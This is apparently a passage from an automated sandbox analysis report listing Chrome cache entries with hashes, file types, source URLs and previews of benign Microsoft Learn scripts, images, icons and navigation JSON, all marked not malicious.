Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
